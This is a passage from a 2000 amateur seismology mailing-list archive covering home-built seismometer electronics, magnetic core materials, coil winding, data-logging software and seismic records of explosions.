Public Seismic Network Mailing List (PSN-L) Subject: log display of seismic signals From: sean@........... Date: Fri, 18 Aug 2000 13:45:10 -0500 (CDT) Re: Log displays to indicate seismic signal intensity: I have made several log incremented LED displays to monitor the output of an STM-8 demo seis at the Univ. It is relatively easy to make on perforated/solder pads board. It uses the LM3915 IC by National (they have an LM3914 for a linear display and a LM3116 for a VU (semi-log) display). They are set up for center scale as in the literature, and extended another decade also per the literature. The set up requires separate + and - 12V supplies to drive all the LEDs. I use multi-color, 10-segment DIP mounted bargraph LEDs (from Newark). The LM3915 is 3db/step, with a 30 db range, and three can be cascaded for a 90 db display. A simple inverting amp is used to make negative signals drive the negative indicating display, as in the "precision null meter" in the literature. The LED outputs of the IC are along one side and can connect directly to the LED display chip. I mount them vertically, with zero in the center. You can also install linear LM3914s on one side of center (zero) to show the difference between a linear and a log response. With a 60 db log display at the lab, the highest LED has been termed the "fat" indicator, because it takes a heavyweight person to turn it on. I haven't figured the magnitude-distance value for it. Pre-fab kits for VU displays are available (Tech-America) with all the components, discrete LEDs, and a circuit board. A bipolar display requires adding the inverting amp, and true log display requires the LM3915 IC, although the VU scale still makes a nice wide-ranging monitor. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Russian sub explosion From: Bill Scolnik wls1@................ Date: Sat, 19 Aug 2000 00:19:21 -0400 I noticed on the news this evening that the explosion that caused the Russian submarine to sink was powerful enough to have been recorded by a number of stations - they showed a couple of nice traces- (not sure where though). I thought I'd try and find it in my records. Does anyone know what time it took place? Bill Scolnik __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Russian sub explosion From: Canie canie@........... Date: Fri, 18 Aug 2000 21:29:15 -0700 At 12:19 AM 8/19/00 -0400, Bill Scolnik wrote: >I noticed on the news this evening that the explosion that caused the >Russian submarine to sink was powerful enough to have been recorded by a >number of stations - they showed a couple of nice traces- (not sure where >though). I thought I'd try and find it in my records. Does anyone know >what time it took place? >Bill Scolnik I saw some folks talking about it over on the sci.geo.earthquake newsgroup - you could take a look there for any info. Canie __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Russian sub explosion From: "J. D. Cooley" jdcooley@............. Date: Fri, 18 Aug 2000 23:52:56 -0700 At 12:19 AM 8/19/00 -0400, Bill Scolnik wrote: >I noticed on the news this evening that the explosion that caused the >Russian submarine to sink was powerful enough to have been recorded by a >number of stations - they showed a couple of nice traces- (not sure where >though). I thought I'd try and find it in my records. Does anyone know what >time it took place? >Bill Scolnik > The time given of the largest of the two explosions (and the one that measured M3.5) was 07:30:42 GMT. I have used the autoDRM to download data for that time period from the Norway stations (they are the ones that recorded the M3.5) and from the Russian stations. I used the following stations: MA2, PET, ULN, YAK, KBS, KONO, and YSS. The data from the Russian stations showed no noticeable activity around that time. The interesting thing was that ALL channels from the Norway stations (KBS and KONO) had missing data (not 18 minutes [Nixon Tapes]) at about the time the shock wave would have arrived at the Norway stations. Probably just a coincidence!!?? "JD" Cooley __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: InfraSonics... From: "Steve Olney" ollaneg@........... Date: Sat, 19 Aug 2000 18:54:01 +1000 Hi All, I know that a percentage of you seismic guys and gals are interested in Infrasonics as well so I hope you won't mind this off-list post. I have just put up an extension to my Experimentaion site which involves InfraSonics. The URL is:- http://www.qsl.net/vk2zto/ Follow the InfraSonic Experimentation link. Any comments, criticisms, information, links, etc. wold be most appreciated. Regards Steve Olney VK2ZTO __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Russian sub explosion From: Jim Hannon jmhannon@........ Date: Sat, 19 Aug 2000 07:15:39 -0500 Have a look at http://www.norsar.no/ For some times and traces. At 12:19 AM 8/19/00 -0400, you wrote: >I noticed on the news this evening that the explosion that caused the >Russian submarine to sink was powerful enough to have been recorded by a >number of stations - they showed a couple of nice traces- (not sure where >though). I thought I'd try and find it in my records. Does anyone know >what time it took place? >Bill Scolnik > >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with the body of the >message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. Jim Hannon http://soli.inav.net/~jmhannon/ 42,11.90N,91,39.26W WB0TXL __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: cheap electronic parts From: BOB BARNS roybar@........ Date: Sun, 20 Aug 2000 10:52:02 -0400 Hi gang, This web site has a large selection of cheap electronic parts. The site is easy to navigate. www.fix.net/dans.html Bob Barns __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: magnitude display From: sean@........... Date: Sun, 20 Aug 2000 15:17:10 -0500 (CDT) Murray, I have sent you some info regarding a visual logarithmic display for magnitude that I posted on the PSN but didn't send to you. Here are some more thoughts about using it for public education that may also be interesting for others. In case you aren't familiar with the db scale, for voltage ratios db = 20*log(A), so if the amplitude ratio A = 1000, it is 60db. So for a seismic magnitude display, the log (1000) = 3, so a 60db scale would cover three orders of magnitude. The display I described is made with the DIP bargraph LEDs connected directly to the LN3915 log driver, so is quite compact, about 6" high for a bi-polar 60 db range. Since it is designed for monitoring a broadband instrument, including mass centering, it is DC coupled and bi-polar, indicating either positive or negative offsets. For a public display of magnitude, it doesn't need to be bi-polar, but would need to drive large separated LEDs or other indicators. I would cascade three LM3915s for a 90db or log 4.5 range display, so each of 30 indicators would be 0.15 magnitude units. With additional circuitry, the indicators could be numerical displays of the magnitude. Not all would have to be connected, like a scale of 1.3, 1.6, 1.9, etc. This would allow the building background noise to be shown at the lowest amplitude, which conventionally is about magnitude 2, since another convention we use is that it takes a M=3 to be felt in the near field. A major show of force would be needed to light the +4.5 magnitude indicator (you could label it M=6.5) at the 90 db peak at about 31623 times the background level. This could result in a circus atmosphere with kids trying to light the top indicator, so I would put it on a ground floor (or stop at log +4 or less). I don't know if you can recover the analog signal from the PS2. I have evaluated it, but it wasn't mine, so I couldn't take it apart. But a geophone and an amplifier would work fine to drive the magnitude display. I would suggest a 1 hz geophone and a low pass filter, so the kids would have to jump in unison to make a large enough coherent amplitude, rather than just a bunch of noise from random foot stomping. The coherent energy of earthquakes is what does the most damage, and the magnitude scale is measured at the peak sustained amplitude of the waveform. Of course, the signal can be simultaneously digitized and displayed on a screen. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: magnitude display From: "Robert W. Avakian" ravakian@............ Date: Sun, 20 Aug 2000 18:18:18 -0500 I don't know what age your are targeting, but as a Junior HS teacher, I might suggest a computer program that asks kids from what height one must drop an elephant next to them so as to make a vibration equal that of a 1.0 magnitude quake. Then ask how high for a 2.0 and so on. Since the Kinetic Energy is linear with altitude, that might be a real eye opener. Bob Avakian Texas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Precursor to Ms5.4 D'Entrecasteaux island quake From: John Hernlund hernlund@....... Date: Mon, 21 Aug 2000 12:59:03 -0700 (MST) This is quite interesting. Statistics will be necessary to make any claims of course. And doing that will also be tricky. I am wondering if the precursor signals always have the same form. If so, then a waveform that models the precursor can be "idealized" in a time series and then correlated with a long time record of real data. Any wave forms that are similar will then show up in the resultant times series as spikes, with a value of 1.0 being an exact correlation. This would then have to be correlated with some function showing the times of occurences of earthquakes for different parameters such as a time window before the onset of a quake, magnitude, depth, etc.. The results could then tell you what the statistical significance of the correlations are...this is a messy business! Good luck! ****************************************************************************** John Hernlund Department of Geological Sciences Arizona State University E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Explosion Event From: Karl Cunningham karlc@....... Date: Mon, 21 Aug 2000 13:54:23 -0700 Hi All -- Does anyone have an estimate of the equivalent earthquake magnitude of the pipeline explosion of a few days ago in New Mexico? Or does anyone have an event record for this unfortunate accident? Thanks, Karl __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Explosion Event From: The Lahrs johnjan@........ Date: Mon, 21 Aug 2000 22:14:00 -0600 Karl, I heard that it was a magnitude 3.5 event. John At 02:54 PM 8/21/00 , you wrote: >Hi All -- > >Does anyone have an estimate of the equivalent earthquake magnitude of the >pipeline explosion of a few days ago in New Mexico? Or does anyone have an >event record for this unfortunate accident? > >Thanks, >Karl John C. Lahr 1925 Foothills Road Golden, CO 80402 (303) 215-9913 john@........ http://lahr.org/john-jan/science.html __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: filter From: BOB BARNS roybar@........ Date: Tue, 22 Aug 2000 10:54:45 -0400 Hi gang, ebay #412837332 which ends 8/24 is a Rockland mod. 452 2-channel variable filter. It looks v. good. This should be great for seismographs. Bob Barns __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: List From: Larry Cochrane cochrane@.............. Date: Sat, 02 Sep 2000 16:38:41 -0700 I don't think so. I'm cc the list to check it out... -Larry At 11:38 PM 9/2/00 +0000, you wrote: >Larry, I have seen no traffic from the PSN list for some time. Is the >list down? > >warren > > > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: List From: Bob Fryer bfryer@............ Date: Hey Larry, This is first message in 10 days ???? Did a bunch 'o us get dropped somehow? Take care, Bob >I don't think so. I'm cc the list to check it out... > >-Larry > >At 11:38 PM 9/2/00 +0000, you wrote: >>Larry, I have seen no traffic from the PSN list for some time. Is the >>list down? >> >>warren ----- earthquake WARNING research ----- --- animals, people, scientific evidence --- --- http://www.teleport.com/~bfryer --- __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: List From: Mariotti Mauro mariottim@...... Date: Sun, 03 Sep 2000 08:07:25 +0200 Hi Larry, yes, this is the first message after long time... How are you?? At 06.57 03/09/2000 +0200, you wrote: >Hey Larry, > >This is first message in 10 days ???? > >Did a bunch 'o us get dropped somehow? > >Take care, >Bob > > >>I don't think so. I'm cc the list to check it out... >> >>-Larry >> >>At 11:38 PM 9/2/00 +0000, you wrote: >>>Larry, I have seen no traffic from the PSN list for some time. Is the >>>list down? >>> >>>warren > > >----- earthquake WARNING research ----- >--- animals, people, scientific evidence --- >--- http://www.teleport.com/~bfryer --- > > >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Iron source From: barry lotz gbl@....... Date: Sun, 03 Sep 2000 06:05:59 -0700 Hi Since it's been so quiet .... It has been mentioned that iron makes a better material for sensor feedback coil transducers than steel. I have two questions which maybe someone can help. Do manufactured speaker coils have a better grade of material for use in feedback coils? I have looked around a little but can't seem to find a source of iron plate or round stock. Any thoughts? Regards Barry __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Iron source From: Mike Lozano mikel@............... Date: Sat, 02 Sep 2000 10:26:51 -0500 Hi! What about old railroad spikes? Are they steel? If memory serves me right, they're made of fairly high grade iron. It shouldn't take too much to machine them down into useable cores. Mike www.sciencearea.com barry lotz wrote: > Hi > Since it's been so quiet .... It has been mentioned that iron makes > a better material for sensor feedback coil transducers than steel. I > have two questions which maybe someone can help. Do manufactured speaker > coils have a better grade of material for use in feedback coils? I have > looked around a little but can't seem to find a source of iron plate or > round stock. Any thoughts? > Regards > Barry > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Iron source From: ChrisAtUpw@....... Date: Sun, 3 Sep 2000 13:42:24 EDT In a message dated 03/09/2000 16:05:41 GMT Daylight Time, gbl@....... writes: > It has been mentioned that iron makes a better material for sensor > feedback coil transducers than steel. It does. Silicon iron may be even better. This is one of the more common materials for making transformer laminations. Permalloy laminations are used in some 'microphone' transformers. > I have two questions which maybe someone can help. Do manufactured speaker > coils have a better grade of material for use in feedback coils? I have > looked around a little but can't seem to find a source of iron plate or > round stock. Any thoughts? Speaker coils themselves are made from Cu or Al wire and are sometimes wound on a sheet of Cu or Al to give good heat transfer. If you want to make LVDT sensors, you can roll a strip of transformer lamination into a tube. This will allow you to use a higher frequency excitation since you are then only magnetising a thin tube. Commercial sensors use one of the various Permalloys to give a high permeablilty and low remanence. I believe that the reinforcing rod used for ferro concrete is almost pure iron and is quite soft, both physically and magnetically and is quite OK for making pole pieces etc. 'Mild' steel is also OK for pole pieces where you don't need low remanence. I hope that this helps. It was not very clear from your letter what you were thinking of making. Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Iron source From: "Rex Klopfenstein, Jr." rklopfen@......... Date: Sun, 03 Sep 2000 16:07:27 -0400 Try McMaster-Carr, I purchased some 1" OD cast iron round bars there last year. barry lotz wrote: > Hi > Since it's been so quiet .... It has been mentioned that iron makes > a better material for sensor feedback coil transducers than steel. I > have two questions which maybe someone can help. Do manufactured speaker > coils have a better grade of material for use in feedback coils? I have > looked around a little but can't seem to find a source of iron plate or > round stock. Any thoughts? > Regards > Barry > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. -- Rex Klopfenstein, Jr. Bowling Green, OH rklopfen@......... http://www.wcnet.org/~rklopfen __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Iron source From: Bob Smith bobsmith5@........ Date: Sun, 03 Sep 2000 17:11:39 -0400 Yes, soft iron is generally favored over steel for magnetic cores, because it is more responsive to magnetic flux changes. In particular, avoid high alloy steels (the kind which can be hardened, often referred to as tool steels). I am in the model live steam hobby field where finding reliable sources of small quantities of any metal is a prepetual problem. Here are some tips -- 1. Hot rolled steel (the kind with blue scale still on it) is a reasonable approximation of iron. It is generally dead soft and has not been worked after rolling out from a red hot billet (thus the scale). You want to stay away from cold finished or cold rolled steels. Almost any general repair or welding shop will have a stock of this laying around the shop. 2. Almost any reasonable sized city has one or more organizations of "metalheads", amateur or "home shop" machinists who love to home build model steam locomotives and stationary models. These people can usually give you tips on local sources of supply such as machine shops that will let you root around in their scrap barrel and salvage yards that specialize in reclaimed metal. 3. Check the links posted at the following web site http://www.dm.net/~lughaid/ . 4. Find some copies of the "Home Shop Machinist" magazine (there is a link at the above web site). They also publish the "Live Steam" magazine and both carry advertisements from mail order companies that specialize in the sale of small bits of metal for the hobby trade. Some of these suppliers offer billets of cast iron which is easy to machine (except that you wind up with grey iron dust *everywhere*) and very soft. 5. The core material from old power transformers should have very good magnetic properties but would likely be difficult to form into a useful shape which I presume to be round. 6. Root around your local electronics supply house for a magnetically operated solenoid. The cores of these (the part that moves) should have very good magnetic properites. You should also find these in discarded dishwashers or washing machines. Good luck, Bob Smith barry lotz wrote: > > Hi > Since it's been so quiet .... It has been mentioned that iron makes > a better material for sensor feedback coil transducers than steel. I > have two questions which maybe someone can help. Do manufactured speaker > coils have a better grade of material for use in feedback coils? I have > looked around a little but can't seem to find a source of iron plate or > round stock. Any thoughts? > Regards > Barry > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. -- --------- Avoid computer viruses -- Practice safe hex ------------- * * Specializing in small, cost effective embedded control systems * * Robert L. (Bob) Smith Smith Machine Works, Inc. internet bobsmith5@.............. Lumlay Road landline 804/745-1065 Richmond, Virginia 23236+1004 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: List From: twleiper@........ Date: Sun, 3 Sep 2000 21:05:22 -0400 Works for me... On Sun, 03 Sep 2000 08:07:25 +0200 Mariotti Mauro writes: > Hi Larry, > yes, this is the first message after long time... > How are you?? > > > At 06.57 03/09/2000 +0200, you wrote: > >Hey Larry, > > > >This is first message in 10 days ???? > > > >Did a bunch 'o us get dropped somehow? > > > >Take care, > >Bob > > > > > >>I don't think so. I'm cc the list to check it out... > >> > >>-Larry > >> > >>At 11:38 PM 9/2/00 +0000, you wrote: > >>>Larry, I have seen no traffic from the PSN list for some time. > Is the > >>>list down? > >>> > >>>warren > > > > > >----- earthquake WARNING research ----- > >--- animals, people, scientific evidence --- > >--- http://www.teleport.com/~bfryer --- > > > > > >__________________________________________________________ > > > >Public Seismic Network Mailing List (PSN-L) > > > >To leave this list email PSN-L-REQUEST@.............. with > >the body of the message (first line only): unsubscribe > >See http://www.seismicnet.com/maillist.html for more information. > > > > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Iron source From: "Charles R. Patton" charles.r.patton@........ Date: Sun, 03 Sep 2000 19:10:15 -0700 I have mentioned it before in other contexts, but an excellent source of high permeability, Metglas (amorphous metal/glass) strips is in the anti-theft tags on CD=92s and such from places such as Best Buy, Circuit City and the like. The Metglas strips are 0.24=94 x 1.45=94 x 0.0012=94 = and are excellent, low coercivity materials. Just the ticket for sensors. When you cut the tags apart, slit them like you would fillet a fish, cutting off the =93humped=94 non-sticky side. The bright, shiny, very springy, rectangular ribbon is the Metglas. Further down, after an intervening plastic layer, (closer to the sticky side) is a another piece of metal, usually with the ends cut on an angle. This is steel and easily bent and designed to be permanently magnetized and useless for your purposes. Although not a lot of material per tag, the tags are often very readily available in the parking lot of my local Best Buy. I often pick up 5 or 10 on my walk to and from the store. (Leave them curb-side on your way in or you may be explaining why you set off alarms on your way out! Other excellent sources of low coercivity Permalloy strips are most libraries, public or university. Strips 0.14=94 x 6.45=94= x approx. 0.003=94 are inserted in the books as anti-theft devices. They come in two forms, adhesive coated with a release strip and plastic laminated with a long plastic =93tail=94 in order to pull them into place= in a book. Talk to your librarian, and he/she might give you some or sell you a few. They only cost the library something like a $0.25 apiece or less, I believe. Both of these can also form the basis of very sensitive flux-gate magnetometers. For use in sensors, the Metglas is likely to be the better material if you want to run at higher frequencies, as it=92s conductivity is much lower than Permalloy. Generally the conductivity will get in the way of many sensing schemes by ending up de-sensitizing the inductance parameter you're trying to measure. Charles R. Patton __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Iron source From: "Randall Pratt" randallpratts@.......... Date: Sun, 3 Sep 2000 19:46:42 -0500 Hi All, Has anyone tried an ornamental iron shop for wrought-iron? This is close to pure iron with silica in the form of slag stringers. Cast iron on the other hand will have a high carbon content with the carbon forming small flakes distributed throughout and causing the gray coloration. I have a table showing various cast irons to cantain 1.75 to 4.0 % carbon and wrought iron as .01 to .08 % carbon. While I'm on, I have moved and am now operating my long period horizontal in Mitchell, SD. It's awfully quiet in comparison to Las Vegas. Seismically and citily. Randy -----Original Message----- From: barry lotz To: PSN-L Mailing List Date: Sunday, September 03, 2000 10:05 AM Subject: Iron source >Hi > Since it's been so quiet .... It has been mentioned that iron makes >a better material for sensor feedback coil transducers than steel. I >have two questions which maybe someone can help. Do manufactured speaker >coils have a better grade of material for use in feedback coils? I have >looked around a little but can't seem to find a source of iron plate or >round stock. Any thoughts? >Regards >Barry > >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: soft iron From: sean@........... Date: Sun, 3 Sep 2000 22:22:08 -0500 (CDT) Barry, Three types of iron-based materials are used in magnetics. The "Reference Data for Radio Enfineers" has a rather complete table of metallic core materials. The "soft iron" variety is almost pure iron, with up to 10% silicon. The cobalt iron alloys are about 50% cobalt, and have a high saturation curve. The vast majority of choices, which includes the several of the "permalloy" alloys, run from 50 to 80% nickel, and provide the highest permeability but lower saturation. But for many applications low-silicon (4%) soft iron is the best bet. Its advantage is that it can be stamped or cold forged, as are the poles in speaker magnets, where you can see the stamping streaks in the edges of the soft-iron donuts. I am using soft iron washers as poles for the magnets for the new NSF instrument. (I have posted the magnet design). In general, I try to design around bought hardware, since few people have a lathe or mill. McMaster has a large selection of large OD/ID by 1/4" thick washers. The cyclotron I worked on had a 13 ton magnet with 30" poles and was made with 1" slabs of low silicon soft iron, which will not saturate until about 20 kgauss (we ran at about 15 kgauss). But if you dismantle a transformer, the laminates are most likely a grain-oriented silicon alloy, which is tempered and stamped; bend it once and it becomes very soft at the bend. The transformers I modify to be the poles of the VRDT displacement transducer will not re-assemble if any of the laminates have been bent because they cannot be straightened. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: soft iron From: barry lotz gbl@....... Date: Sun, 03 Sep 2000 19:01:28 -0700 Hi All Thanks for the input. Where I was going with the question was whether it was better to recoil a old speaker or make one from scratch. Sean Thomas- you indicated in past posting that rewinding an old speaker w/o the paper/metal cylinder gave a very high output. Why build one with an output of 10-12 when one could rewind more efficiently with an output of ~50? Regards Barry __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: serial port data logging software? From: "David Saum" DSaum@............ Date: Mon, 4 Sep 2000 12:52:00 -0400 I am looking for some PC software to log the data from a Lehman system I am building. My home brew amp/ADC now sends 16 bit ASCII data records to my PC serial port at about 16 SPS. Ideally the software would store the data in daily files, display 24 hours of data, and allow for creating WinQuake=20 compatible files. It would also be nice if it could work in background on a Windows PC so that the machine could be used for other tasks while logging data. It appears that the most commonly used data logging programs, SDR and EMON, are not currently set up to accept serial port input data. Does anyone know of any other software that=20 could log serial port data for seismic analysis? =20 I suppose I could write my own software, but I do not want to reinvent this wheel if a perfectly good one is available elsewhere. On the other hand, if nothing is currently available, is anyone else=20 interested in this type of software? I think I might be able to hack something suitable in VB6,=20 especially with the help some beta testers who know the seismic game better than I do. Ciao, Dave __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: coil winding From: sean@........... Date: Mon, 4 Sep 2000 13:39:49 -0500 (CDT) Barry, I haven't made a formless coil for a speaker magnet because I haven't found a temporary form of the exact dimensions to wind it on. (see my write up on making the formless coil.... or do you need a repeat of it). But I haven't tried either, since I can make a reliable, reproducible rare earth magnet assembly with McMaster parts for $30, rather than dismanteling speakers. (also written and posted). But when you play with the formulas, the output is a function of the total winding length. This means that the output increases directly as the number of turns increases. However, to get more turns into the same winding volume (the cylinder of wire in the magnet gap), requires smaller wire, obviously. Wire of 1/2 the cross section area, like # 38 is half the area of #32 (from wire tables), will result in twice the number of turns so twice the wire length and output. But half the area is twice the resistance per length, so the winding resistance increases by a factor of 4. For example, increasing the turns conveniently by using wire of 1/2 the diameter with the same coil dimensions, if I use #42 enameled wire, which is about half the diameter of #36, I will get twice the turns per layer, and twice the number of layers, for 4 times the turns and output. With the same mean length per turn, this will be four times the wire length, but it will measure 16 times the resistance. So I get only 4 times the output at 16 times the resistance, BUT I also have 16 times the Johnson noise due to the resistance, and it may be difficult to damp (as a moving coil sensor) with a resistor if the magnet is not strong enough. size diameter resistance NEWARK roll length, ft cost #32 0.0088 164.1 #34 0.0069 260.9 #36 0.0055 414.8 ohms/1000 ft. #36E1321 1/2lb 6400 $27.33 #38 0.0044 659.6 #36F779 1 lb 19300 $73.49 #40 0.0034 1049.0 #42 0.0028 1659 #44 0.0023 2593 And another consideration for a coil used for a broadband feedback sensor, high coil resistance leads to instability. Anything much over 100 ohms is a problem. This became quickly evident when manufacturers tried to add feedback to existing seismometers with constants of 50 to 200 Newtons/Ampere (Volts/meter/second) but thousands of ohms. Increasing the coil magnet output is an advantage to a point for a simple moving coil sensor, but for feedback it does NOT increase the output: in fact it decreases it, where k=M/(G*C). However, it does improve the high frequency response of the feedback loop, so there are tradeoffs. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: SDR and Networking From: "Rex Klopfenstein, Jr." rklopfen@......... Date: Mon, 04 Sep 2000 18:12:11 -0400 I have a problem! I have a system running under DOS (WIN98) which has my SDR. I have it networked to my server via NetBEUI. I also have the rest of my house wired via TCP/IP. The house network on one server network card and the SDR computer on a second server network card. I have the Autoexec.bat and config.sys set up per instructions that come with SDR card. The "net start" and "net logon" lines of batch file execute without an error. I get a "error 53" (path can't be located) when the "net use" executes. My server name is SERVER1 and the shared directory I am using for the SDR is named SEISDATA. I use the following: C:\WIN98\net use G: \\SERVER1\SEISDATA. By the way, I had this setup running for six months. When I installed ORACLE database (with network options) onto the server, that's when things went wrong. I have since reinstalled NT 4.0 Server, but I can't seem to get SDR to find my shared server directories -- Rex Klopfenstein, Jr. Bowling Green, OH KC8PFP rklopfen@......... http://www.wcnet.org/~rklopfen __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: serial port data logging software? From: The Lahrs johnjan@........ Date: Mon, 04 Sep 2000 16:43:13 -0600 Dave, I like the software that Alan Jones wrote to log data from the AS1 seismometer (see: http://lahr.org/john-jan/psn/as1/as1.html ) It reads the output of the AS1 AD and stores the data continuously to disk. There's a bit more information on the software, named AmaSeis, here: http://lahr.org/john-jan/psn/as1/amaseis.html I believe that Alan may be willing to share the source code if anyone would like to modify it to work with a different AD. Cheers, John At 10:52 AM 9/4/00 , you wrote: >I am looking for some PC software to log the data >from a Lehman system I am building. My home >brew amp/ADC now sends 16 bit ASCII data records >to my PC serial port at about 16 SPS. Ideally >the software would store the data in daily files, display >24 hours of data, and allow for creating WinQuake >compatible files. It would also be nice if it could >work in background on a Windows PC so that the >machine could be used for other tasks while >logging data. > >It appears that the most commonly used data logging >programs, SDR and EMON, are not currently set up >to accept serial port input data. > >Does anyone know of any other software that >could log serial port data for seismic analysis? > >I suppose I could write my own software, but I do >not want to reinvent this wheel if a perfectly good >one is available elsewhere. On the other hand, if >nothing is currently available, is anyone else >interested in this type of software? I think I might >be able to hack something suitable in VB6, >especially with the help some beta testers who >know the seismic game better than I do. > >Ciao, > >Dave > >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. John C. Lahr 1925 Foothills Road Golden, CO 80402 (303) 215-9913 john@........ http://lahr.org/john-jan/science.html __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: serial port data logging software? From: "David Saum" DSaum@............ Date: Tue, 5 Sep 2000 12:32:32 -0400 > Subject: Re: serial port data logging software? > From: The Lahrs > Date: Mon, 04 Sep 2000 16:43:13 -0600 >=20 > Dave, >=20 > I like the software that Alan Jones wrote to log data from the > AS1 seismometer (see: http://lahr.org/john-jan/psn/as1/as1.html ) > It reads the output of the AS1 AD and stores the data continuously > to disk. There's a bit more information on the software, named > AmaSeis, here: http://lahr.org/john-jan/psn/as1/amaseis.html >=20 > I believe that Alan may be willing to share the source code if anyone > would like to modify it to work with a different AD. Yes the AS1 software sounds great. I tried to contact Alan a couple of weeks ago about his software and did not get a reply. I will give it another try. Ciao, Dave __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: coil winding From: barry lotz gbl@....... Date: Tue, 05 Sep 2000 18:32:07 -0700 Sean Thomas Thanks for the response. I had interpreted your 26 Dec 1999 posting as you had constructed a formless coil to speaker . I have constructed one of the formless coils as you have described it back in Dec. I just need to construct the disk sections. I was going to use 0.25" mild steel plate since I have access to a bandsaw and tap set. I let you know how the G factor comes out. Wrt forming a coil to an existing speaker. What I thought might be possible , and I plan to try ) would be to separate the speaker components with solvent such as carb. cleaner ( it takes some time but is possible). I would then cover the male portion of the magnet assembly with some layers of thin material such as paper or foil to the desired id.This would be the form for the coil to be wound. After the coil is constructed I would epoxy the iron and magnet back together. I gather that this maybe a lot of unnessary work for the additional output. I thought if I tried it, it would be on a small speaker such as a 4"-6" since this is more in line with the McMaster Carr magnet size and much less expensive than a 10-12" sub woofer. Regards Barry PS. I had some difficulty locating correction tape for determining coil layers so I used white nail polish. It seems also to work. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: seis on ebay From: BOB BARNS roybar@........ Date: Wed, 06 Sep 2000 11:40:42 -0400 Hi, Ebay # 430096282 (ends 9/12) is a "Kinemetrics Ranger Seismometer". It looks interesting but I don't know what it is. Perhaps someone in the group can post some info about it. Bob Barns __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: seis on ebay From: Doug Crice dcrice@............ Date: Wed, 06 Sep 2000 10:57:54 -0700 The Ranger Seismometer is a seismometer. If memory serves, the natural frequency is about 1 Hz, but it might have been adjustable over a small range. It can be used as either a vertical or horizontal seismometer. The big knob is used to adjust the support spring to center the mass in either position, and the feet are designed to support it in either position. The little window is used to see when the mass is centered. The mass can be clamped for easy transit. As I recall, it has a calibration coil. It was named after the original "Ranger" moon study program, which carried three of these in an orthogonal configuration (less the aluminum case) to the surface of the moon for seismic studies. Once landed on the moon, little motors centered the units. Assuming it still works, this unit would be an excellent, short-period seismometer for your seismic station. Doug BOB BARNS wrote: > > Hi, > Ebay # 430096282 (ends 9/12) is a "Kinemetrics Ranger Seismometer". > It looks interesting but I don't know what it is. > Perhaps someone in the group can post some info about it. > Bob Barns > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: magnet pole dimension From: sean@........... Date: Thu, 7 Sep 2000 12:48:12 -0500 (CDT) Barry, I have given some thought to making a new coil for a speaker magnet, but as I said, I haven't done it yet. However, I would not attempt to dismantle the magnet, mostly because getting it back together would be difficult, and also because it would permanently weaken the magnet (I've had some un-framed, ie no keeper shunts, ceramic magnets go completely dead hanging by themselves on nails). The problem is to get the OD of the magnet center pole. Of course, measuring it with an (electronic) caliper works; I bought an extension points kit for mine that accurately probes 